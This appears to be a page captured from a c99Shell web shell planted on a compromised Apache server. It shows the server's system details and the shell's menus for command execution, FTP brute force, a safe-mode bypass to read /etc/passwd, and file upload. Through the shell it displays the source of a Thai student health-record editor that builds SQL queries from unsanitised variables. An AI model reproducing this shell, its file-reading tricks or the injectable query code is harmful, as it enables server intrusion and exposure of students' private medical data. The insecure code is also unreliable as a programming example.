!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditHealth.php (8.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("password"))
{
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$sql ="Select * From student_tb Where Student_id='$Student_id' ";
$result mysql_query($sql) or die("Error".mysql_error());
$rs mysql_fetch_array($result);
$sql1 "Select * From std_health_tb Where code='$code'";
$result1 mysql_query($sql1) or die("Error".mysql_error());
$row mysql_fetch_array($result1);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<script language="JavaScript" type="text/JavaScript">
function browseImage()
{
    form1.show_image.src = form1.about_story_image.value;
}
</script>
<script language="JavaScript" src="../calendar/ew.js"></script> 
<script language="JavaScript" src="../calendar/popcalendar.js"></script>
<table width="841" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="841" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_std.php?Student_id=<? echo $rs[Student_id]?>">ข้อมูลประวัตินักศึกษา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="EditStudentList.php"></a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddHealthData.php?Student_id=<? echo $rs[Student_id]?>"> เพิ่มข้อมูลสุขภาพนักศึกษา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="StdHealth.php?Student_id=<? echo $rs[Student_id]?>">ข้อมูลสุขภาพนักศึกษ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_std.php?Student_id=<? echo $rs[Student_id]?>"></a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="EditStudentList.php"></a></font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="EditHealth.php">
    <table width="77%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#99CCFF">
      <tr bgcolor="#D7EABD">
        <td height="25" colspan="3"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">แก้ไข</font><font color="#003366" size="4" face="Tahoma"> ข้อมูลสุขภาพนักศึกษา </font></strong></div></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">ชื่อ-นามสกุล</font></div></td>
        <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"></font></div></td>
        <td bgcolor="#EEEEEE"><strong><font size="2" face="Tahoma"><? echo $rs[First_name]?>&nbsp;<? echo $rs[Name]?> <? echo $rs[Lastname]?></font></strong></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font color="#000000" size="2" face="Tahoma">น้ำหนัก</font></div></td>
        <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
        <td bgcolor="#EEEEEE"><input name="Weight" type="text" id="Weight" value="<? echo $row[Weight]?>" size="5" /></td>
      </tr>
      <tr>
        <td width="27%" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">ส่วนสูง</font></div></td>
        <td width="3%" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
        <td width="70%" bgcolor="#EEEEEE"><input name="Height" type="text" id="Height" value="<? echo $row[Height]?>" size="5" /></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">วันที่บันทึก</font></div></td>
        <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">
          <input name="Date_note" type="text" class="input1" id="Date_note" value="<? echo $row[Date_note]?>" size="15" />
          <strong>
          <input name="image" type="image" onclick="popUpCalendar(this, this.form.Date_note,'yyyy-mm-dd');return false;" src="../images/mysql_calendar.png" alt="Pick a Date" align="middle" width="16" height="16" />
        </strong></font></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">กรุ๊ปเลือด</font></div></td>
        <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">
          <input type="radio" name="B_group" <?php if (!(strcmp("$row[B_groupem]","A"))) {echo "checked";} ?> value="A" />
          A
          <input type="radio" name="B_group" <?php if (!(strcmp("$row[B_groupem]","B"))) {echo "checked";} ?> value="B" />
          B
          <input type="radio" name="B_group" <?php if (!(strcmp("$row[B_groupem]","AB"))) {echo "checked";} ?> value="AB" />
          AB
          <input type="radio" name="B_group" <?php if (!(strcmp("$row[B_groupem]","O"))) {echo "checked";} ?> value="O" />
          O </font> </td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">ความดัน</font></div></td>
        <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2">
          <input name="Presure" type="text" id="Presure" value="<? echo $row[Presure]?>" size="20" />
        </font></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">โรคประจำตัว</font></div></td>
        <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"></font></div></td>
        <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#EEEEEE"><textarea name="Disease" cols="40" rows="3" id="Disease"><? echo $row[Disease]?></textarea></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#EEEEEE"><div align="center"><font color="#000000" size="2" face="Tahoma">อาการ</font></div></td>
        <td bordercolor="#CCCCCC" bgcolor="#EEEEEE">&nbsp;</td>
        <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#EEEEEE"><font size="2" face="Tahoma">
          <textarea name="Symptom" cols="40" rows="5" id="Symptom"><? echo $row[Symptom]?></textarea>
        </font></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">การรักษา</font></div></td>
        <td bgcolor="#EEEEEE">&nbsp;</td>
        <td bgcolor="#EEEEEE"><textarea name="Treat" cols="40" rows="5" id="Treat"><? echo $row[Treat]?></textarea></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ยาที่ได้รับ</font></div></td>
        <td bgcolor="#EEEEEE">&nbsp;</td>
        <td bgcolor="#EEEEEE"><textarea name="Medicine" cols="40" rows="3" id="textarea3"><? echo $row[Medicine]?></textarea></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">อาการแพ้ยา</font></div></td>
        <td bgcolor="#EEEEEE">&nbsp;</td>
        <td bgcolor="#EEEEEE"><textarea name="Bad_Medic" cols="40" rows="3" id="textarea4"><? echo $row[Bad_Medic]?></textarea></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">อาการแพ้อาหาร</font></div></td>
        <td bgcolor="#EEEEEE">&nbsp;</td>
        <td bgcolor="#EEEEEE"><textarea name="Bad_Food" cols="40" rows="3" id="textarea5"><? echo $row[Bad_Food]?></textarea></td>
      </tr>
      <tr>
        <td bgcolor="#EEEEEE"><div align="center"><font color="#000000" size="2" face="Tahoma">สถานที่รักษา</font></div></td>
        <td bgcolor="#EEEEEE">&nbsp;</td>
        <td bgcolor="#EEEEEE"><input name="Place_Treat" type="text" id="Place_Treat" value="<? echo $row[Place_Treat]?>" size="60" /></td>
      </tr>
      <tr bgcolor="#D7EABD">
        <td colspan="3"><div align="center">
            <input type="hidden" name="Student_id" value="<? echo $row[Student_id]?>" />
            <input type="hidden" name="code" value="<? echo $row[code]?>" />
            <input type="submit" name="Submit" value="  บันทึก  " />
        </div></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.015 ]--